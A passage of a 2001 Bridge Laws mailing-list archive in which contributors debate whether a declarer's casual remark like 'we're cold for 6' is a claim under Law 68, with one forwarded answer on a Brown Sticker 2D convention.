bridge-laws-outgoing; Wed, 24 Jan 2001 06:25:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NJPGt02149 for ; Wed, 24 Jan 2001 06:25:17 +1100 (EST) Received: from dodona (host213-123-43-180.dialup.lineone.co.uk [213.123.43.180]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id TAA20497 for ; Tue, 23 Jan 2001 19:24:50 GMT Message-ID: <001201c08572$7416ef80$b42b7bd5@dodona> From: "Grattan Endicott" To: Subject: [BLML] Fw: wbf brown sticker question Date: Tue, 23 Jan 2001 19:24:04 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk [Copied for information] > Grattan Endicott <=> > "If you are foolish enough to be contented, > don't show it, but grumble with the rest." > ~ Jerome K. Jerome > <===> > > > > > I have just read an article of yours on WBF > > conventions on David Stevenson's page and > > have a question. If I play a 2D opening as a > > 5-5 major/minor two suiter is it allowed (as > > a multi variant) or is it banned (because the > > anchor suit is unknown)? > > > > > +=+ This is a Brown Sticker convention and > may not be played in tournaments where > Brown Sticker (BS) conventions are prohibited. > Regarding the multi the WBF Systems Policy > says that what is not BS is an opening bid of > two in a minor suit that shows "a weak two in > either major, whether with or without the > option of strong hand types, as described in > the WBF Conventions Booklet". > ~ Grattan ~ +=+ > > > > > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 06:57:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NJv3M13348 for bridge-laws-outgoing; Wed, 24 Jan 2001 06:57:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NJust13304 for ; Wed, 24 Jan 2001 06:56:55 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Tue, 23 Jan 2001 11:37:59 -0800 Message-ID: <002b01c08574$0a54bd00$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 11:37:11 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-Meads wrote: > Richard Bley wrote: > > > >Well, let's see. Declarer at 4S, Vul, says: "We're cold > > >for 6, partner." > > > > > >East, a dirty rotten BL, says: "That's a claim, what's > > >your line of play?" > > Firstly this is not a claim. Being "cold for 6" does not exclude the > possibility of making 13 tricks (unless the first trick was lost). It is > therefore not a statement relating to a *specific* number of tricks. > > But if the statement is "We are making ...exactly 6" then it is > specific, and therefore a claim. > No, no, Tim. "Six" is a specific number, not a vague number. Any vagueness, if any, is in the mind of the speaker, not in the word spoken. The spoken number must be accompanied by a qualifying adjective to be considered non-specific. Moreover, "to the effect that a contestant will win a specific number of tricks" doesn't require a specific number to be mentioned. "We have underbid this one," when playing in three spades, is a statement "to the effect" that the speaker will win ten tricks. That the speaker might be thinking of winning more than ten tricks doesn't mean his words have not suggested a specific number. "We may have underbid this one," is non-specific as to any number. Undesirable, but acceptable, not a claim. The whole idea is to discourage coffehousing and mistaken predictions without making a TD resort to the "could have known..." of L73F2, which requires that damage be established, not always easy. How can one tell if a bad play was possibly a result of the remark? No damage, no adjustment, so then the TD must consider whether some punishment, or a lecture, is appropriate for big-mouth. No, let the statement be a claim, which is much easier to adjudicate (assuming the claim is disputed, which should be unlikely). Marv San Diego, CA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 07:11:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NKBeM14325 for bridge-laws-outgoing; Wed, 24 Jan 2001 07:11:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NKBYt14321 for ; Wed, 24 Jan 2001 07:11:35 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id OAA26987 for ; Tue, 23 Jan 2001 14:12:53 -0600 (CST) Message-Id: <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 14:11:04 -0600 To: bridge-laws@rgb.anu.edu.au From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:05 AM 1/23/2001 +0000, pam wrote: >On Mon, 22 Jan 2001 18:59:57 -0800, Adam wrote: [stuff I totally agree with] >>The fact is, we don't expect players to know all the nuances of the >>Laws. > >I expect players to know what the laws say or accept the consequences >of not knowing - if they break them through ignorance then that is >tough, next time they will know. If the laws have nuances that are not >obvious then the laws must be cleared up so they they are clear. The problem is not that the nuances of the law are not clear, the problem is that they are not publicized. Do you really believe, Pam, that every single duplicate bridge player should know all the laws backwards and forwards, complete with their applications, and that if they fail to do so they deserve to suffer the consequences of perfectly harmless, ordinary actions that fall afoul of some obscure rule? [And, I might add, an obscure rule that has been changed over the years.] Apparently you do, and so do several others. I perceive the game very differently than that. "Next time they will know", you say, and perhaps you are right. More likely, next time they try to avoid playing at your club/in your tournament, or will give up bridge entirely. And even if that one pair learns their bitter lesson, that will do nothing at all for the millions of other pairs out there. A ruling like that leaves the players with a bad taste in their mouths, and that is not good for the game of bridge. >> In most cases, they don't have to. > >So what! It isn't necessary to know the rules of Golf to hit a few >balls at a driving range but were I ever to take up the game and play >in the local club competition then I would make sure I knew them and >if I didn't, and broke them, I would accept penalty shots I might >incur. Am I really so strange in thinking that the rules of a game or >sport should be followed to the letter? Yes. :) Frankly, if someone were to memorize the rules of golf and follow other players around at my local club demanding that they be penalized for kneeling on a towel in the mud instead of on the ground, or other such bizarre obscurities, I can guarantee that he would be drummed out of the club forthwith. I happen to know a great deal about the laws of baseball, and I know that it is illegal for a coach to assist a player running the bases. I know of a case in a little league game where a player was hit on the head by an errant throw, and fell to the ground crying. The coach ran over to him and assisted him to his feet and made sure he was ok. The defense had not thought to tag him out. If the opposing team had demanded that the player be called out, as the rules say, on the grounds that his coach had assisted him to his feet, that would have been universally regarded as appalling. I am sure the umpire knew the rule, and he made no effort to enforce it in this case. You may argue that these cases are different, that they did not take place in 'serious tournaments' or somesuch. Perhaps. Perhaps in a professional game between the multi-millionaires that play these games for a living the rigid enforcement of such rules would not be condemned as absurd or inimical to the game. Even there, I can name you ways in which major league baseball teams break the letter of the rules in every game, and no-one finds this in the least bit disturbing. And perhaps if you want to enforce this claim law in the Bermuda Bowl, I would not regard it as an absurdity. Perhaps. [If I ever get to the Bermuda Bowl, I'll probably be happy enough to be there that I won't mind.] >>But if there's a rule that says "a casual remark can be treated as a >>claim", where and when has this rule been publicized? > >Law 68 A/B is really quite clear. Claims and concessions are defined >in a way that my children could understand and I really don't think >that the term "any statement" needs "and that includes casual remarks" >added to it. Again, this isn't his point. Adam and I apparently see the game very differently than you [and perhaps David B.] do. Bridge players play bridge [or at least something that they call "bridge" and believe is bridge] for many years, in different circumstances. They are taught how to follow suit, and they know that there are penalties if they don't do so, but very few of them know exactly what those penalties are. They know that something bad happens to them if they bid out of turn, but they don't know just what. They know that they can lay down their hands and claim, and they know that some sort of adjudication takes place if their claim isn't accepted by opponents. [Although many of them don't actually lay down their hands, because they expect to be told to "play it out", and they think that's ok.] Adam and I believe that if the lawmakers want to introduce a law that has extremely unexpected consequences, they have an obligation to publicize that law and those consequences in a way that we can reasonably expect a bridge player to find out about it before the law is applied to him. We regard this interpretation of this law [which, following Grattan, seems to have been the officially intended interpretation] as being precisely this sort of law. David B. and others can say all they want to that a claim is whatever the laws define it as--but I say that bridge players know a claim when they see one, and anything that 99.99999999% of all bridge players can see immediately isn't a claim--isn't a claim. If the lawmakers want to make it a claim, they'd better find a way to start publicizing it so that people can reasonably be expected to know it. >>This means we have the unacceptable situation I described >>above, where BL's can take advantage of unsuspecting players who never >>dreamed they were doing anything wrong. > >But, presumably, only once and I cannot see why it is unacceptable. >Perhaps the next time they will have spent some time reading the laws >of the game they are playing. Perhaps, except that you know they won't. To use your previous analogy, I am willing to bet that 99% of all golfers, even 99% of all people in take part in local golf tournaments, have never read all or even most of the laws of golf. I know that virtually no baseball players have ever read the laws of baseball. I don't expect them to, and I am willing to bet they wouldn't be able to see all the implications even if they did. >>Occasionally there are higher principles >>that should take precedence over following the Law literally. But not >>very often. (And certainly not nearly as often as some American >>judges think, but that's a subject for a whole other mailing list.) >> > >And that is a completely different subject. > >I may disagree vehemently with some of the laws as they are written >and while I may campaign for a change I could never try and say >"because I think that is unjust it should not apply to me or him" (I I would. To make the comparison you have wisely avoided [:)], if the lawmakers in my state passed a law saying "The real speed limit on all roads is 10 MPH lower than what the signs read", I would regard the enforcement of this law as grossly _unjust_ unless and until it was so well-publicized that the average driver could expect to know it. If I were a judge, I would take every possible step in my power to avoid implementing this law, and to annul all punishments connected with it, until that time. Ignorance of a law _is_ a valid excuse if the ignorance is not culpable. >am talking about the laws of Bridge here, I have come to realise that >comparing the laws of bridge with the laws of the land is rarely >productive and usually gets one laughed at). > >Of all the threads on the list, this has to be one of the silliest. >Was it a claim? Yes of course it was, the Laws say so. Would you, at >the table, call a director after that kind of remark? Probably not but >I might (and I certainly would now if Probst was directing or >declarer). > >Would it be a claim if the declarer had said "You should have cue'd >your AD pard, it looks like we might make 12 here"? I think not but at >least it's a question that requires some thought. > >As for Bridge Lawyers, why is studying the laws of the game for a few >hours to gain advantage over those who do not so much worse than >studying tables of card combinations to the same end? Because the latter is bridge and the former isn't. Just as practicing your swing to get better at baseball is regarded as perfectly normal and appropriate, while studying the rulebook to find technicalities to enforce against your opponents would be regarded as unsporting, and not _baseball_. The winner of a bridge tournament should be the pair [team] who is best at bidding and playing the hand, not the pair that is best at ambushing unsuspecting opponents with legal technicalities. {"Jones is a great bridge player--did you see the way that he got that favorable ruling when that LOL failed to alert that strong-2 bid she's been using for 40 years, and how he totally disconcerted that guy who said "with my luck I'll probably only make 2 tricks" by accepting his claim of down 8! I wish I could play bridge like he does!" Yes, bridge needs more people like that.} Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 07:52:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NKpYG15093 for bridge-laws-outgoing; Wed, 24 Jan 2001 07:51:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0NKpPt15086 for ; Wed, 24 Jan 2001 07:51:27 +1100 (EST) Received: (qmail 57779 invoked for bounce); 23 Jan 2001 20:51:19 -0000 Received: from dialin-194-29-58-192.frankfurt.gigabell.net (HELO rabbit) (194.29.58.192) by smtp.myokay.net with SMTP; 23 Jan 2001 20:51:19 -0000 Message-ID: <017801c0857e$9ca97a60$c03a1dc2@rabbit> From: "Thomas Dehn" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> <02b101c08526$587fdd00$6b3b1dc2@rabbit> <001a01c0856a$226efae0$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 21:53:27 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" mfrench1@san.rr.com wrote: > > From: "Thomas Dehn" < > > It seems you need a vacation, David. > > Calm down, relax. > > Which David? All three of em ;-) Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 07:53:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NKrLa15132 for bridge-laws-outgoing; Wed, 24 Jan 2001 07:53:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NKrEt15128 for ; Wed, 24 Jan 2001 07:53:15 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f0NE3US00769 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 14:03:30 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 14:00:16 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> In-Reply-To: <000f01c084f7$56da27a0$37c188d1@kay> MIME-Version: 1.0 Message-Id: <01012314033000.00761@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Tue, 23 Jan 2001, Nelson/Kay Ford wrote: > Well, let's see. Declarer at 4S, Vul, says: "We're cold > for 6, partner." > > East, a dirty rotten BL, says: "That's a claim, what's > your line of play?" > > Now one of two things happens: > 1. Declarer is cold for 6 and states how he will take > them, > and scores the slam. > OR > 2. Declarer was blowing smoke and can't make 6, but is > able to state a line of play where he makes 5 with > normal > play, and racks up 650. > > Just how to you see that the evil BL has damaged the > poor, > innocent Declarer? Declarer was cold for six, but had the hand been played out, he might have made seven on a squeeze. He has lost his chance to play for this squeeze as a result of the "claim". In situation 2, if declarer wasn't actually cold for six, if the hand was played out and east defended trying to break up a squeeze for seven, an adjustment would be in order because declarer's remark damaged the opposition. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 08:03:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NL3UP15339 for bridge-laws-outgoing; Wed, 24 Jan 2001 08:03:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NL3Mt15332 for ; Wed, 24 Jan 2001 08:03:22 +1100 (EST) Received: from james (user-2ive4oh.dialup.mindspring.com [165.247.19.17]) by barry.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA23572; Tue, 23 Jan 2001 16:03:14 -0500 (EST) Message-ID: <000f01c0857f$e50191c0$1113f7a5@james> From: "Craig Senior" To: , "Grant Sterling" References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 16:03:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk We have an equivalent to your little league game...the novice game. We sometimes do ease enforcement, and always explain carefully any penalties. But when the novices have learned enough to play with the big boys we don't coddle them anymore. If Sammy Sosa's manager helps him get up to run to first base that is indeed a different kettle of fish as you admit. (This is based ob the theory that all rulings go against Cubs :))) Your assertion that 99.99999999 (or however many decimals) percent think that "Oops, we underbid, we're making game" and its slam equivalent is not a claim is highly questionable. I think David Burn, Grattan, I and several others disagree. I doubt you have 50% of this list with you. Why do you assume that we are not a fair sample of bridge players? Surely you do not believe that only the ignorant and uncaring believe as you do. :-)) When the rulebook says 2+2=4, there will not be too many who will insist the answer should be 5 because 4 isn't "fair". What is fair is what the Laws say is fair. If you despise this law, then by all means work to change it. That is your right and probably your obligation. But please do not strain at gnats to deny that it says what it says, especially with the information we have about its provenance and the intent of its framers. I disagree that it should be changed. Casual conversation of this sort needs to be discouraged in all but social games. In a social game, no one will ever call the director in the first place (if there even is one). The law as written is appropriate for tournament bridge, should stand, and should be enforced. Craig ----- Original Message ----- From: "Grant Sterling" To: Sent: Tuesday, January 23, 2001 3:11 PM Subject: Re: [BLML] Claim? > At 09:05 AM 1/23/2001 +0000, pam wrote: > >On Mon, 22 Jan 2001 18:59:57 -0800, Adam wrote: > > [stuff I totally agree with] > > >>The fact is, we don't expect players to know all the nuances of the > >>Laws. > > > >I expect players to know what the laws say or accept the consequences > >of not knowing - if they break them through ignorance then that is > >tough, next time they will know. If the laws have nuances that are not > >obvious then the laws must be cleared up so they they are clear. > > The problem is not that the nuances of the law are not clear, the > problem is that they are not publicized. Do you really believe, Pam, that > every single duplicate bridge player should know all the laws backwards and > forwards, complete with their applications, and that if they fail to do so > they deserve to suffer the consequences of perfectly harmless, ordinary > actions that fall afoul of some obscure rule? [And, I might add, an > obscure rule that has been changed over the years.] Apparently you do, > and so do several others. I perceive the game very differently than that. > "Next time they will know", you say, and perhaps you are right. More > likely, next time they try to avoid playing at your club/in your tournament, > or will give up bridge entirely. And even if that one pair learns their > bitter lesson, that will do nothing at all for the millions of other pairs > out there. A ruling like that leaves the players with a bad taste in their > mouths, and that is not good for the game of bridge. > > >> In most cases, they don't have to. > > > >So what! It isn't necessary to know the rules of Golf to hit a few > >balls at a driving range but were I ever to take up the game and play > >in the local club competition then I would make sure I knew them and > >if I didn't, and broke them, I would accept penalty shots I might > >incur. Am I really so strange in thinking that the rules of a game or > >sport should be followed to the letter? > > Yes. :) Frankly, if someone were to memorize the rules of golf and > follow other players around at my local club demanding that they be penalized > for kneeling on a towel in the mud instead of on the ground, or other such > bizarre obscurities, I can guarantee that he would be drummed out of the > club forthwith. I happen to know a great deal about the laws of baseball, > and I know that it is illegal for a coach to assist a player running the > bases. I know of a case in a little league game where a player was hit > on the head by an errant throw, and fell to the ground crying. The coach > ran over to him and assisted him to his feet and made sure he was ok. The > defense had not thought to tag him out. If the opposing team had demanded > that the player be called out, as the rules say, on the grounds that his > coach had assisted him to his feet, that would have been universally regarded > as appalling. I am sure the umpire knew the rule, and he made no effort to > enforce it in this case. > You may argue that these cases are different, that they did not > take place in 'serious tournaments' or somesuch. Perhaps. Perhaps in a > professional game between the multi-millionaires that play these games > for a living the rigid enforcement of such rules would not be condemned > as absurd or inimical to the game. Even there, I can name you > ways in which major league baseball teams break the letter of the rules > in every game, and no-one finds this in the least bit disturbing. And > perhaps if you want to enforce this claim law in the Bermuda Bowl, I > would not regard it as an absurdity. > Perhaps. > [If I ever get to the Bermuda Bowl, I'll probably be happy > enough to be there that I won't mind.] > > >>But if there's a rule that says "a casual remark can be treated as a > >>claim", where and when has this rule been publicized? > > > >Law 68 A/B is really quite clear. Claims and concessions are defined > >in a way that my children could understand and I really don't think > >that the term "any statement" needs "and that includes casual remarks" > >added to it. > > Again, this isn't his point. Adam and I apparently see the game > very differently than you [and perhaps David B.] do. Bridge players > play bridge [or at least something that they call "bridge" and believe > is bridge] for many years, in different circumstances. They are taught > how to follow suit, and they know that there are penalties if they don't > do so, but very few of them know exactly what those penalties are. They > know that something bad happens to them if they bid out of turn, but they > don't know just what. They know that they can lay down their hands and claim, > and they know that some sort of adjudication takes place if their claim > isn't accepted by opponents. [Although many of them don't actually lay > down their hands, because they expect to be told to "play it out", and they > think that's ok.] Adam and I believe that if the lawmakers want to introduce > a law that has extremely unexpected consequences, they have an obligation > to publicize that law and those consequences in a way that we can reasonably > expect a bridge player to find out about it before the law is applied to > him. > We regard this interpretation of this law [which, following Grattan, > seems to have been the officially intended interpretation] as being precisely > this sort of law. David B. and others can say all they want to that a > claim is whatever the laws define it as--but I say that bridge players > know a claim when they see one, and anything that 99.99999999% of all > bridge players can see immediately isn't a claim--isn't a claim. If the > lawmakers want to make it a claim, they'd better find a way to start > publicizing it so that people can reasonably be expected to know it. > > >>This means we have the unacceptable situation I described > >>above, where BL's can take advantage of unsuspecting players who never > >>dreamed they were doing anything wrong. > > > >But, presumably, only once and I cannot see why it is unacceptable. > >Perhaps the next time they will have spent some time reading the laws > >of the game they are playing. > > Perhaps, except that you know they won't. To use your previous > analogy, I am willing to bet that 99% of all golfers, even 99% of all > people in take part in local golf tournaments, have never read all or > even most of the laws of golf. I know that virtually no baseball players > have ever read the laws of baseball. I don't expect them to, and I am > willing to bet they wouldn't be able to see all the implications even > if they did. > > >>Occasionally there are higher principles > >>that should take precedence over following the Law literally. But not > >>very often. (And certainly not nearly as often as some American > >>judges think, but that's a subject for a whole other mailing list.) > >> > > > >And that is a completely different subject. > > > >I may disagree vehemently with some of the laws as they are written > >and while I may campaign for a change I could never try and say > >"because I think that is unjust it should not apply to me or him" (I > > I would. To make the comparison you have wisely avoided [:)], if > the lawmakers in my state passed a law saying "The real speed limit on > all roads is 10 MPH lower than what the signs read", I would regard the > enforcement of this law as grossly _unjust_ unless and until it was > so well-publicized that the average driver could expect to know it. If > I were a judge, I would take every possible step in my power to avoid > implementing this law, and to annul all punishments connected with it, > until that time. Ignorance of a law _is_ a valid excuse if the ignorance > is not culpable. > > >am talking about the laws of Bridge here, I have come to realise that > >comparing the laws of bridge with the laws of the land is rarely > >productive and usually gets one laughed at). > > > >Of all the threads on the list, this has to be one of the silliest. > >Was it a claim? Yes of course it was, the Laws say so. Would you, at > >the table, call a director after that kind of remark? Probably not but > >I might (and I certainly would now if Probst was directing or > >declarer). > > > >Would it be a claim if the declarer had said "You should have cue'd > >your AD pard, it looks like we might make 12 here"? I think not but at > >least it's a question that requires some thought. > > > >As for Bridge Lawyers, why is studying the laws of the game for a few > >hours to gain advantage over those who do not so much worse than > >studying tables of card combinations to the same end? > > Because the latter is bridge and the former isn't. Just as > practicing your swing to get better at baseball is regarded as perfectly > normal and appropriate, while studying the rulebook to find technicalities > to enforce against your opponents would be regarded as unsporting, and not > _baseball_. The winner of a bridge tournament should be the pair [team] > who is best at bidding and playing the hand, not the pair that is best > at ambushing unsuspecting opponents with legal technicalities. {"Jones is > a great bridge player--did you see the way that he got that favorable ruling > when that LOL failed to alert that strong-2 bid she's been using for 40 years, > and how he totally disconcerted that guy who said "with my luck I'll > probably only make 2 tricks" by accepting his claim of down 8! I wish I > could play bridge like he does!" Yes, bridge needs more people like that.} > > Respectfully, > Grant Sterling > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 08:10:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NLAbC15475 for bridge-laws-outgoing; Wed, 24 Jan 2001 08:10:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cosmos.CCRS.NRCan.gc.ca (cosmos.ccrs.nrcan.gc.ca [132.156.47.32]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NLAUt15469 for ; Wed, 24 Jan 2001 08:10:31 +1100 (EST) Received: (from johnson@localhost) by cosmos.CCRS.NRCan.gc.ca (8.10.1/8.10.1) id f0NLBNT22856 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:11:23 -0500 (EST) From: Ron Johnson Message-Id: <200101232111.f0NLBNT22856@cosmos.CCRS.NRCan.gc.ca> Subject: Re: [BLML] Claim? To: bridge-laws@rgb.anu.edu.au Date: Tue, 23 Jan 2001 16:11:23 -0500 (EST) In-Reply-To: <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> from "Grant Sterling" at Jan 23, 2001 02:11:04 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grant Sterling writes: (snip much stuff that I totally agree with ) > > Just as practicing your swing to get better at baseball is regarded > as perfectly normal and appropriate, while studying the rulebook to > find technicalities to enforce against your opponents would be > regarded as unsporting, Not everyone agrees with you here. Earl Weaver is quite clear that he spent hours combing the rulebook in an effort to find technicalities that he could use to advantage. In general this isn't treated as unsporting above a certain level. Baseball is after all the game which gave us the quote "Nice guys finish last." -- RNJ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 08:14:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NLEJs15554 for bridge-laws-outgoing; Wed, 24 Jan 2001 08:14:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NLECt15548 for ; Wed, 24 Jan 2001 08:14:13 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id PAA24659 for ; Tue, 23 Jan 2001 15:15:26 -0600 (CST) Message-Id: <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 15:13:37 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <01012314033000.00761@psa836> References: <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 02:00 PM 1/23/2001 +0000, David J Grabiner wrote: >On Tue, 23 Jan 2001, Nelson/Kay Ford wrote: > >> Well, let's see. Declarer at 4S, Vul, says: "We're cold >> for 6, partner." >> >> East, a dirty rotten BL, says: "That's a claim, what's >> your line of play?" >> >> Now one of two things happens: >> 1. Declarer is cold for 6 and states how he will take >> them, >> and scores the slam. He can't state how he will take them. It's too late for a clarification statement. Even though his intended line was cold for 6, his intended line is now irrelevant. If there is a careless or inferior line of play that gives him only 5, even a really stupid such line of play, he will be stuck with it. >> OR >> 2. Declarer was blowing smoke 